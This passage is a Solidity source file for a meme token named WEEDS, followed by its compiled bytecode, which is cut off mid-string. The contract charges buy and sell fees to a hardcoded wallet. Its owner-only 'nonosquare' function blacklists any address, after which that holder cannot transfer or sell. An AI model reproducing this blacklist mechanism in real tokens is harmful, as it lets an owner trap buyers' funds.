uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 500000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "WEEDS"; string private constant _symbol = "WEEDS"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x776C061635d64260F58Bd75dE69Aad2CAb1023F2); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 4; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 8; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 5000000 * 10**9; _maxWalletSize = 15000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b6040516101519190612ddb565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906128e2565b6104b4565b60405161018e9190612dc0565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b99190612f7d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612922565b6104e2565b005b3480156101f757600080fd5b50610212600480360381019061020d919061288f565b61060c565b60405161021f9190612dc0565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a91906127f5565b6106e5565b005b34801561025d57600080fd5b506102666107d5565b6040516102739190612ff2565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061296b565b6107de565b005b3480156102b157600080fd5b506102cc60048036038101906102c791906129c5565b610890565b005b3480156102da57600080fd5b506102e3610969565b005b3480156102f157600080fd5b5061030c600480360381019061030791906127f5565b6109db565b6040516103199190612f7d565b60405180910390f35b34801561032e57600080fd5b50610337610a2c565b005b34801561034557600080fd5b5061034e610b7f565b005b34801561035c57600080fd5b50610365610c34565b6040516103729190612cf2565b60405180910390f35b34801561038757600080fd5b50610390610c5d565b60405161039d9190612ddb565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906128e2565b610c9a565b6040516103da9190612dc0565b60405180910390f35b3480156103ef57600080fd5b5061040a600480360381019061040591906129c5565b610cb8565b005b34801561041857600080fd5b50610421610d91565b005b34801561042f57600080fd5b50610438610e0b565b005b34801561044657600080fd5b50610461600480360381019061045c919061284f565b611373565b60405161046e9190612f7d565b60405180910390f35b60606040518060400160405280600581526020017f5745454453000000000000000000000000000000000000000000000000000000815250905090565b60006104c86104c16113fa565b8484611402565b6001905092915050565b60006706f05b59d3b20000905090565b6104ea6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90612ebd565b60405180910390fd5b60005b81518110156106085760016006600084848151811061059c5761059b61333a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060090613293565b91505061057a565b5050565b60006106198484846115cd565b6106da846106256113fa565b6106d5856040518060600160405280602881526020016136f960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068b6113fa565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c609092919063ffffffff16565b611402565b600190509392505050565b6106ed6113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077190612ebd565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e66113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086a90612ebd565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108986113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610925576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091c90612ebd565b60405180910390fd5b6000811161093257600080fd5b6109606064610952836706f05b59d3b20000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109aa6113fa565b73ffffffffffffffffffffffffffffffffffffffff16146109ca57600080fd5b60004790506109d881611d89565b50565b6000610a25600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df5565b9050919050565b610a346113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab890612ebd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b876113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b90612ebd565b60405180910390fd5b6706f05b59d3b20000600f819055506706f05b59d3b20000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5745454453000000000000000000000000000000000000000000000000000000815250905090565b6000610cae610ca76113fa565b84846115cd565b6001905092915050565b610cc06113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4490612ebd565b60405180910390fd5b60008111610d5a57600080fd5b610d886064610d7a836706f05b59d3b20000611cc490919063ffffffff16565b611d3f90919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd26113fa565b73ffffffffffffffffffffffffffffffffffffffff1614610df257600080fd5b6000610dfd306109db565b9050610e0881611e63565b50565b610e136113fa565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9790612ebd565b60405180910390fd5b600e60149054906101000a900460ff1615610ef0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee790612f5d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f7f30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166706f05b59d3b20000611402565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610fc557600080fd5b505afa158015610fd9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ffd9190612822565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561105f57600080fd5b505afa158015611073573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110979190612822565b6040518363ffffffff1660e01b81526004016110b4929190612d0d565b602060405180830381600087803b1580156110ce57600080fd5b505af11580156110e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111069190612822565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061118f306109db565b60008061119a610c34565b426040518863ffffffff1660e01b81526004016111bc96959493929190612d5f565b6060604051808303818588803b1580156111d557600080fd5b505af11580156111e9573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061120e91906129f2565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff0219169083151502179055506611c37937e08000600f8190555066354a6ba7a180006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161131d929190612d36565b602060405180830381600087803b15801561133757600080fd5b505af115801561134b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061136f9190612998565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611472576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146990612f3d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d990612e5d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115c09190612f7d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561163d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163490612efd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a490612dfd565b60405180910390fd5b600081116116f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e790612edd565b60405180910390fd5b6000600a819055506004600b81905550611708610c34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117765750611746610c34565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c5057600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561181f5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61182857600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118d35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119295750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119415750600e60179054906101000a900460ff165b15611a7f57600f5481111561198b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198290612e1d565b60405180910390fd5b60105481611998846109db565b6119a291906130b3565b11156119e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119da90612f1d565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2e57600080fd5b601e42611a3b91906130b3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611b2a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611b805750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b96576000600a819055506008600b819055505b6000611ba1306109db565b9050600e60159054906101000a900460ff16158015611c0e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c265750600e60169054906101000a900460ff165b15611c4e57611c3481611e63565b60004790506000811115611c4c57611c4b47611d89565b5b505b505b611c5b8383836120eb565b505050565b6000838311158290611ca8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9f9190612ddb565b60405180910390fd5b5060008385611cb79190613194565b9050809150509392505050565b600080831415611cd75760009050611d39565b60008284611ce5919061313a565b9050828482611cf49190613109565b14611d34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d2b90612e9d565b60405180910390fd5b809150505b92915050565b6000611d8183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120fb565b905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611df1573d6000803e3d6000fd5b5050565b6000600854821115611e3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3390612e3d565b60405180910390fd5b6000611e4661215e565b9050611e5b8184611d3f90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e9b57611e9a613369565b5b604051908082528060200260200182016040528015611ec95781602001602082028036833780820191505090505b5090503081600081518110611ee157611ee061333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f8357600080fd5b505afa158015611f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fbb9190612822565b81600181518110611fcf57611fce61333a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061203630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611402565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161209a959493929190612f98565b600060405180830381600087803b1580156120b457600080fd5b505af11580156120c8573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b6120f6838383612189565b505050565b60008083118290612142576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121399190612ddb565b60405180910390fd5b50600083856121519190613109565b9050809150509392505050565b600080600061216b612354565b915091506121828183611d3f90919063ffffffff16565b9250505090565b60008060008060008061219b876123b3565b9550955095509550955095506121f986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461241b90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122da816124c3565b6122e48483612580565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123419190612f7d565b60405180910390a3505050505050505050565b6000806000600854905060006706f05b59d3b2000090506123886706f05b59d3b20000600854611d3f90919063ffffffff16565b8210156123a6576008546706f05b59d3b200009350935050506123af565b81819350935050505b9091565b60008060008060008060008060006123d08a600a54600b546125ba565b92509250925060006123e061215e565b905060008060006123f38e878787612650565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061245d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c60565b905092915050565b600080828461247491906130b3565b9050838110156124b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b090612e7d565b60405180910390fd5b8091505092915050565b60006124cd61215e565b905060006124e48284611cc490919063ffffffff16565b905061253881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125958260085461241b90919063ffffffff16565b6008819055506125b08160095461246590919063ffffffff16565b6009819055505050565b6000806000806125e660646125d8888a611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126106064612602888b611cc490919063ffffffff16565b611d3f90919063ffffffff16565b905060006126398261262b858c61241b90919063ffffffff16565b61241b90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126698589611cc490919063ffffffff16565b905060006126808689611cc490919063ffffffff16565b905060006126978789611cc490919063ffffffff16565b905060006126c0826126b2858761241b90919063ffffffff16565b61241b90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ec6126e784613032565b61300d565b9050808382526020820190508285602086028201111561270f5761270e61339d565b5b60005b8581101561273f57816127258882612749565b845260208401935060208301925050600181019050612712565b5050509392505050565b600081359050612758816136b3565b92915050565b60008151905061276d816136b3565b92915050565b600082601f83011261278857612787613398565b5b81356127988482602086016126d9565b91505092915050565b6000813590506127b0816136ca565b92915050565b6000815190506127c5816136ca565b92915050565b6000813590506127da816136e1565b92915050565b6000815190506127ef816136e1565b92915050565b60006020828403121561280b5761280a6133a7565b5b600061281984828501612749565b91505092915050565b600060208284031215612838576128376133a7565b5b60006128468482850161275e565b91505092915050565b60008060408385031215612866576128656133a7565b5b600061287485828601612749565b925050602061288585828601612749565b9150509250929050565b6000806000606084860312156128a8576128a76133a7565b5b60006128b686828701612749565b93505060206128c786828701612749565b92505060406128d8868287016127cb565b9150509250925092565b600080604083850312156128f9576128f86133a7565b5b600061290785828601612749565b9250506020612918858286016127cb565b9150509250929050565b600060208284031215612938576129376133a7565b5b600082013567ffffffffffffffff811115612956576129556133a2565b5b61296284828501612773565b91505092915050565b600060208284031215612981576129806133a7565b5b600061298f848285016127a1565b91505092915050565b6000602082840312156129ae576129ad6133a7565b5b60006129bc848285016127b6565b91505092915050565b6000602082840312156129db576129da6133a7565b5b60006129e9848285016127cb565b91505092915050565b600080600060608486031215612a0b57612a0a6133a7565b5b6000612a19868287016127e0565b9350506020612a2a868287016127e0565b9250506040612a3b868287016127e0565b9150509250925092565b6000612a518383612a5d565b60208301905092915050565b612a66816131c8565b82525050565b612a75816131c8565b82525050565b6000612a868261306e565b612a908185613091565b9350612a9b8361305e565b8060005b83811015612acc578151612ab38882612a45565b9750612abe83613084565b925050600181019050612a9f565b5085935050505092915050565b612ae2816131da565b82525050565b612af18161321d565b82525050565b6000612b0282613079565b612b0c81856130a2565b9350612b1c81856020860161322f565b612b25816133ac565b840191505092915050565b6000612b3d6023836130a2565b9150612b48826133bd565b604082019050919050565b6000612b606019836130a2565b9150612b6b8261340c565b602082019050919050565b6000612b83602a836130a2565b9150612b8e82613435565b604082019050919050565b6000612ba66022836130a2565b9150612bb182613484565b604082019050919050565b6000612bc9601b836130a2565b9150612bd4826134d3565b602082019050919050565b6000612bec6021836130a2565b9150612bf7826134fc565b604082019050919050565b6000612c0f6020836130a2565b9150612c1a8261354b565b602082019050919050565b6000612c326029836130a2565b9150612c3d82613574565b604082019050919050565b6000612c556025836130a2565b9150612c60826135c3565b604082019050919050565b6000612c78601a836130a2565b9150612c8382613612565b602082019050919050565b6000612c9b6024836130a2565b9150612ca68261363b565b604082019050919050565b6000612cbe6017836130a2565b9150612cc98261368a565b602082019050919050565b612cdd81613206565b82525050565b612cec81613210565b82525050565b6000602082019050612d076000830184612a6c565b92915050565b6000604082019050612d226000830185612a6c565b612d2f6020830184612a6c565b9392505050565b6000604082019050612d4b6000830185612a6c565b612d586020830184612cd4565b9392505050565b600060c082019050612d746000830189612a6c565b612d816020830188612cd4565b612d8e6040830187612ae8565b612d9b6060830186612ae8565b612da86080830185612a6c565b612db560a0830184612cd4565b979650505050505050565b6000602082019050612dd56000830184612ad9565b92915050565b60006020820190508181036000830152612df58184612af7565b905092915050565b60006020820190508181036000830152612e1681612b30565b9050919050565b60006020820190508181036000830152612e3681612b53565b9050919050565b60006020820190508181036000830152612e5681612b76565b9050919050565b60006020820190508181036000830152612e7681612b99565b9050919050565b60006020820190508181036000830152612e9681612bbc565b9050919050565b60006020820190508181036000830152612eb681612bdf565b9050919050565b60006020820190508181036000830152612ed681612c02565b9050919050565b60006020820190508181036000830152612ef681612c25565b9050919050565b60006020820190508181036000830152612f1681612c48565b9050919050565b60006020820190508181036000830152612f3681612c6b565b9050919050565b60006020820190508181036000830152612f5681612c8e565b9050919050565b60006020820190508181036000830152612f7681612cb1565b9050919050565b6000602082019050612f926000830184612cd4565b92915050565b600060a082019050612fad6000830188612cd4565b612fba6020830187612ae8565b8181036040830152612fcc8186612a7b565b9050612fdb6060830185612a6c565b612fe86080830184612cd4565b9695505050505050565b60006020820190506130076000830184612c